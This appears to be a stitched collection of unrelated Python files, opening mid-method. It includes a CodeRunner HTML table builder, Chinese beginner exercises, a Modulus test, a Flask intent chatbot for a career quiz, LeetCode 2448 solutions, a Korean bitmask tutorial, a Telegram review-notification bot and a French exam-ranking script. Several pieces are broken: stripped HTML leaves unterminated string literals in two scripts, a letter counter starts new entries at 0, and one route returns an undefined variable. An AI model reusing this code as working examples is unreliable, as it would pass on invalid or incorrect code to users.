            ylabel="Loss",
        )
        PhenPred.save_figure(f"{plot_folder}/losses/{self.timestamp}_terms_losses")


import sys, json

NUM_ROWS = 4
NUM_VARS = 2
def main():
    #args = {param.split('=')[0]: param.split('=')[1] for param in sys.argv[1:]}

    num_cols = NUM_VARS + 1
    width = 100 / num_cols
    html = '
';
    colgroup = '<colgroup>'
    for i in range(num_cols):
        colgroup += f'<col style="width: {width}%">'
    colgroup += '</colgroup>'
    html += colgroup + '
';
    html += f'
	Variables
'
    html += '
 Line number 	'
    for j in range(NUM_VARS):
        html += '<input class="coderunner-ui-element" name="variable_name">	'

    html += '
';
    for i in range(NUM_ROWS):
        html += '
<input class="coderunner-ui-element" name="line_number">	'
        for j in range(NUM_VARS):
            html += '<input class="coderunner-ui-element" name="variable_value">	'
        html += '
'
    html += '

'

    print(json.dumps({'html': html}))

main()


#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
@version: 1.0
@author: shen
@file:列表练习题.py
@time: 16-3-13 上午12:24
读取一个字符串,计算每个字母出现的个数
方案一: 生成26个变量,代表每个字母出现的个数
方案二:生成具有26个元素的列表,将每个字母转化为相应的索引值,如a-0,b-1...
"""
# 方案二实现:
count = [0] * 26
for i in 'abcdeadbe':
    count[ord(i) - 97] += 1  # ord参数是一个字符,返回他对应的整数
    print(count)
# 方案三实现:生成一个字典,字母做键,对应出现的次数做值
count = {}
for i in 'abcdad':
    if i in count:
        count[i] += 1
    else:
        count[i] = 0
    print(count)

    # 读取小说emma.txt,打印钱10个最常见单词
    # 是否还能直观的将每个单词转化为相应的数字
f = open("emma.txt")
word_freq = {}
for line in f:
    words = line.split()
    for word in words:
        if word in word_freq:
            word_freq[word] += 1
        else:
            word_freq[word] = 1
word_freq_lst = []
for word, freq in word_freq.items():
    word_freq_lst.append((freq, word))
word_freq_lst.sort(reverse=True)

for freq, word in word_freq_lst[:10]:
    print(word, freq)

# 反转字典
# 生成一个新字典,其键为原字典的值,值为原字典的键
# 同一个值,可能对应多个键,需要用列表存储

def invert_dict(d):
    inverse = {}
    for key in d:
        val = d[key]
        if val in inverse:
            inverse[val].append(key)
        else:
            inverse[val] = [key]
    print(inverse)

a = {'k1': 'v1', 'k2': 'v2', 'k3': 'v3'}
invert_dict(a)

# 使用enumerate生成索引位置和对应值
for i, v in enumerate(['hello', 'world', 'test']):
    print(i,v)


from modulus.models.multiplicative_filter_net import MultiplicativeFilterNetArch
import torch
import numpy as np
from modulus.key import Key

def make_dict(nr_layers):
    _dict = dict()
    names = [("weight", "weights"), ("bias", "biases"), ("weight_g", "alphas")]
    tri_names = ("frequency", "phase")
    for tri_name in tri_names:
        _dict["first_filter." + tri_name] = "fourier_filter_first_" + tri_name + ":0"
    for i in range(nr_layers):
        for pt_name, tf_name in names:
            _dict["fc_layers." + str(i) + ".linear." + pt_name] = (
                "fc_" + str(i) + "/" + tf_name + ":0"
            )
        for tri_name in tri_names:
            _dict["filters." + str(i) + "." + tri_name] = (
                "fourier_filter_layer" + str(i) + "_" + tri_name + ":0"
            )
    for pt_name, tf_name in names[:2]:
        _dict["final_layer.linear." + pt_name] = "fc_final/" + tf_name + ":0"
    return _dict

def test_multiplicative_filter():
    filename = "./test_models/data/test_multiplicative_filter.npz"
    test_data = np.load(filename, allow_pickle=True)
    data_in = test_data["data_in"]
    Wbs = test_data["Wbs"][()]
    params = test_data["params"][()]
    # create graph
    arch = MultiplicativeFilterNetArch(
        input_keys=[Key("x"), Key("y")],
        output_keys=[Key("u")],
        layer_size=params["layer_size"],
        nr_layers=params["nr_layers"],
    )
    name_dict = make_dict(params["nr_layers"])
    for _name, _tensor in arch.named_parameters():
        if _tensor.requires_grad:
            if "filter" in _name:
                _tensor.data = torch.from_numpy(Wbs[name_dict[_name]])
            else:
                _tensor.data = torch.from_numpy(Wbs[name_dict[_name]].T)

    data_out2 = arch(
        {"x": torch.from_numpy(data_in[:, 0:1]), "y": torch.from_numpy(data_in[:, 1:2])}
    )
    data_out2 = data_out2["u"].detach().numpy()
    # load outputs
    data_out1 = test_data["data_out"]
    # verify
    assert np.allclose(data_out1, data_out2, atol=1e-4), "Test failed!"
    print("Success!")

if __name__ == "__main__":
    test_multiplicative_filter()


from flask import Flask,request,redirect,render_template,url_for,jsonify
import nltk
from nltk.stem.lancaster import LancasterStemmer
stemmer = LancasterStemmer()
from sklearn.preprocessing import LabelEncoder
import numpy as np
from collections import Counter
import tflearn
import tensorflow
import random
import json
import pickle

with open("intents.json") as file:
    intents = json.load(file)

app=Flask(__name__)

data = pickle.load( open( "training_data", "rb" ) )
words = data['words']
classes = data['classes']
train_x = data['train_x']
train_y = data['train_y']

tensorflow.reset_default_graph()

net = tflearn.input_data(shape=[None, len(train_x[0])])
net = tflearn.fully_connected(net, 8)
net = tflearn.fully_connected(net, 8)
net = tflearn.fully_connected(net, len(train_y[0]), activation="softmax")
net = tflearn.regression(net)

model = tflearn.DNN(net)
model.load("model.tflearn")

def clean_up_sentence(sentence):
    # tokenize the pattern
    sentence_words = nltk.word_tokenize(sentence)
    # stem each word
    sentence_words = [stemmer.stem(word.lower()) for word in sentence_words]
    return sentence_words

# return bag of words array: 0 or 1 for each word in the bag that exists in the sentence
def bow(sentence, words, show_details=False):
    # tokenize the pattern
    sentence_words = clean_up_sentence(sentence)
    # bag of words
    bag = [0]*len(words)
    for s in sentence_words:
        for i,w in enumerate(words):
            if w == s:
                bag[i] = 1
                if show_details:
                    print ("found in bag: %s" % w)

    return(np.array(bag))

context = {}

ERROR_THRESHOLD = 0.25
def classify(sentence):
    # generate probabilities from the model
    results = model.predict([bow(sentence, words)])[0]
    # filter out predictions below a threshold
    results = [[i,r] for i,r in enumerate(results) if r>ERROR_THRESHOLD]
    # sort by strength of probability
    results.sort(key=lambda x: x[1], reverse=True)
    return_list = []
    for r in results:
        return_list.append((classes[r[0]], r[1]))
    # return tuple of intent and probability
    return return_list

def response(sentence, userID='123', show_details=False):
    results = classify(sentence)
    # if we have a classification then find the matching intent tag
    if results:
        # loop as long as there are matches to process
        while results:
            for i in intents['intents']:
                # find a tag matching the first result
                if i['tag'] == results[0][0]:
                    # set context for this intent if necessary
                    if 'context_set' in i:
                        if show_details: print ('context:', i['context_set'])
                        context[userID] = i['context_set']

                    # check if this intent is contextual and applies to this user's conversation
                    if not 'context_filter' in i or \
                        (userID in context and 'context_filter' in i and i['context_filter'] == context[userID]):
                        if show_details: print ('tag:', i['tag'])
                        # a random response from the intent
                        return random.choice(i['responses'])

            results.pop(0)

# hi=chat(starts)
@app.route('/',methods=['GET'])
def hello():

    return jsonify({"message":hi})

conversations="check"
save=""
lists=[]
report=[]
resultvalue=[0,0,0,0,0,0]
resultlist=[[0,6,14,21,29,31,36],
            [1,10,17,20,25,32,38],
            [2,7,16,22,26,30,40],
            [3,11,12,19,27,33,39],
            [4,9,15,18,28,35,41],
            [5,8,14,23,24,34,37]]
field=["Realistic","Investigative","Artistic","Social","Enterprising","Conventional"]
@app.route('/',methods=['POST'])
def newhello():
    global save
    global lists
    global resultlist
    hi=request.json['message']
    print(f"hi  {hi}")
    print(f"saved  {save}")
    conversations=hi.lower()
    check=response(hi.lower())
    print(f"check  {check}")
    checks=save
    print(f"checks  {checks}")
    now =response(conversations)
    if hi.lower() == "start":
        lists=[]
        checks=""
        # check=response(hi.lower())
        # lists.append(hi.lower())
        conversations=hi.lower()+" "+checks[14:].lower()
        save=response(conversations)
        now =response(conversations)
    if checks[-9:].lower() == "yes or no":
        print("start")
        lists.append(hi.lower())
        print(lists)
        conversations=hi.lower()+" "+checks[14:].lower()
        save=response(conversations)
        now =response(conversations)
    if hi.lower() == "result":
        now = len(lists)

        label_encoder = LabelEncoder()

        # Encode labels in column 'species'.
        Y= label_encoder.fit_transform(lists)
        print(Y)
        for i in range(len(resultlist)):
            for j in range(len(resultlist[i])):
                # print(resultlist[i][j])
                resultvalue[i] += Y[resultlist[i][j]]
        print(resultvalue)
        for x in zip(field,resultvalue):
            report.append(x)
        print(report)
        now= str(report)
        k = Counter(report)

# Finding 3 highest values
        high = k.most_common(3)
        print(high)
        # for test in len(lists):
        #     if "yes" in (lists[0],lists[6],lists[13],lists[21],lists[29],lists[31],lists[36]):
        #         print(f" number ")
        #     else:
        #         pass

    print(f"length {len(lists)}")
    print(f" conversations  {conversations} ")
    return jsonify({"message":now})

if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=True,port=5000)


# hard

'''
You are given two 0-indexed arrays nums and cost consisting each of n positive integers.

You can do the following operation any number of times:

Increase or decrease any element of the array nums by 1.
The cost of doing one operation on the ith element is cost[i].

Return the minimum total cost such that all the elements of the array nums become equal.
'''

# https://leetcode.com/problems/minimum-cost-to-make-array-equal/description/

''' Logical Thinking
This approach is based on one theorem: a linear combination (with non-negative coefficients) of convex functions is convex.

Therefore, we can use binary search to locate the minimum of this convex function. Start with setting the boundaries of the search space as left = min(nums) and right = max(nums), we cut the search space into two halves by mid = (left + right) / 2. Then we shall determine which part contains the minimum cost. This can be done by comparing the cost of two adjacent bases:

If F(x) < F(x+1), it means the base that brings the minimum cost is on F(x)'s left, thus we should cut the right half.
If F(x) >= F(x+1), it means the base that brings the minimum cost is on F(x)'s right, thus we should cut the left half.

We continue the binary search until we reach the base that brings the minimum cost.
'''

class Solution:
    def minCost(self, nums: List[int], cost: List[int]) -> int:

        def total(curr):
            return sum(abs(curr - num) * c for num, c in zip(nums, cost))

        left = min(nums)
        right = max(nums)
        res = total(nums[0])

        while left < right:
            mid = left + (right - left) // 2
            first = total(mid)
            second = total(mid + 1)
            res = min(first, second)

            if first > second:
                left = mid + 1
            else:
                right = mid

        return res

# Time complexity = O(nlogk) where n is the length of nums and k is the difference between the maximum and minimum value of nums[i].
# Space complexity = O(1)

''' Logical Thinking
We find the weighted median of nums by sorting the (num, weight) pair of the original arrays. We then use the weighted median (target) to calculate the minimum total cost such that all the elements of the array nums becomes equal, which is the answer to this question.
'''

class Solution:
    def minCost(self, nums: List[int], cost: List[int]) -> int:
        arr = sorted(zip(nums, cost))
        mid = sum(cost) / 2
        count = 0
        for target, co in arr:
            count += co
            if count >= mid:
                return sum(abs(target - num) * c for num, c in arr)

# Time complexity = O(nlogn)
# Space complexity = O(n)

Hard/2448. Minimum Cost to Make Array Equal.py


import sys

input = sys.stdin.readline

if __name__ == '__main__':
    # 집합 속 원소 갯수
    # (1) Built-in 함수 활용
    # bin_정수를_이진수문자열로 변환
    print(bin(11))  # 0b1011
    # ->  bin().count('1')로 1의 갯수 세기
    print(bin(11).count('1'))  # 3

    # (2) 자체 구현
    # -> 반복문 속에서 n을 >>1 right shift로 이동해가며
    #    이진수의0 번째자리를 [ & 1 ]로 연산하여
    #    이진수 0번째자리가 1일 경우 누적합
    def count_bits(n):
        ret = 0
        while n:  # 0000 or 0 이 되기전까지 돌림.
            # 0번째 자리가 1이면, 누적
            if n & 1:
                ret += 1
            # 다음자리수를 0번째로 이동
            n = n >> 1
        return ret

    print(count_bits(11))  # 3

    ## 참고 __name__
    # -> 모듈이름인데, import된 모듈이 아니라 실행모듈일 경우만 __main__이 할당된다.
    # -> import된다면, __name__에는 해당a.py의 a만 들어가서, 실행되지 않는다.
    # -> main으로 실행될때만, 실행코드를 if __name__ == '__main__':에 넣어주자.

    # (3) 부분집합 연습 : 두 수의 합이 7인 경우의 수
    # input.txt
    # 6
    # 1 2 3 4 5 6
    N = int(input().strip())
    arr = list(map(int, input().split()))

    def solve():
        ret = 0
        # 1) 원소갯수가 N개인 경우의 모든 부분집합 경우의수를 나타내기
        #    0 ~ 2**n-1의 십진수 == 0000  ~ 1111포함여부 이진수가 생성된다.
        for i in range(1 << N):
            # 2) 해당 포함여부 비트표현 이진수를 -> 문자열로 바꾼 다음
            #    불켜진 것이 2개인 것 == 원소 2개인 부분집합만 골라낸다.
            if bin(i).count('1') != 2:
                continue
            # (원소가 2개인 경우)
            # 3) sum을 구해볼 예정
            sum = 0
            # 4) 포함여부가 0or1 아니라 배열의 j번째 암묵적 매핑배열원소를
            #   실제 값을 가져온다.
            # -> 이 때, 이진수에 대해 [각 자리별 shift를 위한 반복문]을 돌려서, 이진수 원소포함여부(1인지)확인된 것만, 매핑된값을 누적해야한다
            for j in range(N):
                # 5) j번째 비트자리가 불켜졌는지 확인한다.
                # -> 확인된 것만 누적한다.
                if i & 1 << j:
                    sum += arr[j]

            # 6) 합이 7인 것만 카운팅한다.
            if sum == 7:
                ret += 1
        return ret

    print(solve()) # 3

    pass

others/05_ezsw_비트_부분원소의갯수_2수의합이7인경우찾기/05_ezsw_비트_부분원소의갯수_2수의합이7인경우찾기.py

05_ezsw_비트_부분원소의갯수_2수의합이7인경우찾기.py


import sys
import bisect

sys.setrecursionlimit(10 ** 7)
N, M = map(int, input().split())
A = list(map(int, input().split()))
B = list(map(int, input().split()))
A.sort()
B.sort()
ans = 10 ** 10

for i in range(N):
    x = bisect.bisect_right(B, A[i])
    if x < M:
        ans = min(ans, abs(A[i] - B[x]))
    if 0 <= x - 1:
        ans = min(ans, abs(A[i] - B[x - 1]))
print(ans)

def sp(x, m):
    mid = len(m) // 2
    left = m[:mid]
    right = m[mid:]
    if len(m) <= 2:
        s = 10 ** 10
        for i in m:
            s = min(s, abs(x - i))
        return s
    elif x < m[mid]:
        return sp(x, left)
    else:
        return sp(x, right)


from flask import Flask
from flask_restful import reqparse,Resource,Api
from odoa import ODOA

app = Flask(__name__)
ayat=ODOA()

app = Flask('WSFinal')
api = Api(app)

"""
@app.route('/')
def hello_world():
    return 'Hello World!'
"""
surah=ayat.get_random_surah()

class getIsi(Resource) :
    def get(self):
        try :
            text=surah.get('translate')
            return text
        except Exception as e:
            return e

api.add_resource(getIsi, '/getIsi')

class getAyat(Resource) :
    def get(self):
        try :
            text=surah.get('description')
            return text
        except Exception as e:
            return e

api.add_resource(getAyat, '/getAyat')

class getAsli(Resource) :
    def get(self):
        try :
            text=surah.get('ayat')
            return text
        except Exception as e:
            return e

api.add_resource(getAsli, '/getAsli')

if __name__ == '__main__':
    app.run()


import argparse
import logging
import os
import traceback
from textwrap import dedent
from time import sleep

import requests
import telegram
from dotenv import load_dotenv

def get_devman_reviews(token, timestamp_to_request):
    url = 'https://dvmn.org/api/long_polling/'
    headers = {
        'Authorization': f'Token {token}'
        }
    params = {
        'timestamp': timestamp_to_request
        }
    response = requests.get(url, headers=headers, params=params)
    response.raise_for_status()
    return response.json()

def get_delay_argument():
    parser = argparse.ArgumentParser(
        description='Получайте сообщение о проверке задания в Телеграм.')
    parser.add_argument('-d', '--delay', default=60,
                        help="""
                        Время паузы перед отправкой нового запроса
                        в случае отсутствия соединения с сетью в секундах.
                        """
                        )
    args = parser.parse_args()
    return args.delay

class TelegramLogsHandler(logging.Handler):

    def __init__(self, tg_bot, chat_id):
        super().__init__()
        self.chat_id = chat_id
        self.tg_bot = tg_bot

    def emit(self, record):
        log_entry = self.format(record)
        self.tg_bot.send_message(chat_id=self.chat_id, text=log_entry)

if __name__ == '__main__':
    delay = get_delay_argument()
    logging.basicConfig(
        filename='logs.log',
        level=logging.ERROR,
        format='%(asctime)s - %(levelname)s - %(message)s')
    load_dotenv()
    devman_api_token = os.environ['DEVMAN_API_TOKEN']
    telegram_bot_token = os.environ['TELEGRAM_BOT_TOKEN']
    telegram_chat_id = os.environ['TELEGRAM_CHAT_ID']
    bot = telegram.Bot(token=telegram_bot_token)
    logger = logging.getLogger('TelegramLogger')
    logger.setLevel(logging.INFO)
    logger.addHandler(TelegramLogsHandler(bot, telegram_chat_id))
    last_attempt_timestamp = None
    logger.info('Бот успешно запущен!')
    while True:
        try:
            review = get_devman_reviews(
                devman_api_token, last_attempt_timestamp)
            if review['status'] == 'timeout':
                last_attempt_timestamp = review['timestamp_to_request']
            else:
                review_details = review['new_attempts'][0]
                lesson_title = review_details['lesson_title']
                lesson_url = review_details['lesson_url']
                review_is_negative = review_details['is_negative']
                message_template = f'У Вас проверили работу: '
                if not review_is_negative:
                    message = f"""\
                            {message_template} "{lesson_title}".
                            Преподавателю всё понравилось, можно приступать
                            к следующему уроку!
                            """
                else:
                    message = f"""\
                            {message_template} "{lesson_title}".
                            К сожалению, в работе нашлись ошибки, подробности
                            по ссылке: {lesson_url}
                            """
                bot.send_message(chat_id=telegram_chat_id,
                                 text=dedent(message))
        except requests.exceptions.ReadTimeout as et_error:
            logging.exception(et_error)
        except requests.exceptions.ConnectionError as c_error:
            logging.exception(c_error)
            sleep(delay)
        except Exception as error:
            logging.exception(error)
            logger.error('Бот упал с ошибкой:')
            logger.error(f'{error}\n{traceback.format_exc()}')


from collections import OrderedDict
import os
from src.exam.exams import *
from src.student.students import *

def rank_students(filename, students, school, exam, coeff):
	ranking = students.get_ranking(opj(school, "ORAL/0", exam))

	table = Table()

	for id, rank in ranking:
		student = students.get_student(id)
		report = student.get(opj("0", school))
		if report == None:
			continue

		line = OrderedDict()
		line["Rang (F)"] = rank
		line["Rang (E)"] = report.get(opj("ECRIT/0", exam, "Rang (classe)")).split("/")[0].strip()
		line["Rang (N)"] = report.get(opj("ORAL/0", exam, "Rang"))
		line["Nom"] = id
		line["Total"] = report.get(opj("ORAL/0", exam, "Tot."))
		line["Total / " + str(coeff)] = line["Total"] / coeff
		table.set(line, -1)

	with open(filename, "w") as file:
		file.write(table.to_txt())

def list_students(folder):
	html = '<meta charset="utf-8">\n\n
'

	for id in old(folder):
		html += "
" + id + "
"

		for fpower in old(opj(folder, id)):
			power = fpower.replace(" ", "/")
			html += "
" + power + " :
"

			schools_exts = OrderedDict()

			for basename in olf(opj(folder, id, fpower)):
				school, ext = os.path.splitext(basename)
				if not(school in schools_exts.keys()):
					schools_exts[school] = []
				schools_exts[school].append(ext)

			for school, exts in schools_exts.items():
				html += "
" + school + " : "
				html += ", ".join([
					'' + ext[1:] + ""
					for ext in exts
				])
				html += "
"

			html += "
"
		html += "

\n"
	html += "
"

	with open(opj(folder, "index.html"), "w") as file:
		file.write(html)

year = 2016
exams_folder = "data/exams"
students_folder = "data/students"

Exams().load(year).save(exams_folder)

for mode in ["offline", "online"]:
	input_folder = opj(students_folder, "raw")
	output_folder = opj(students_folder, mode)

	students = Students()\
	.load(input_folder, year, mode == "online")\
	.compute_rankings(["Tot. ecrit", "Tot.", "Note"])\
	.add_ranks("Rang (classe)")

	if mode == "online":
		students.anonymize_general_ranks("Rang")

	students.save(output_folder)

	rank_students(
		opj(output_folder, "Classement - Mines Ponts.txt"),
		students,
		"Mines Ponts",
		"Mines Ponts MP",
		12
	)
	rank_students(
		opj(output_folder, "Classement - Centrale.txt"),
		students,
		"Centrale",
		"Centrale Paris filière MP",
		19
	)

	list_students(output_folder)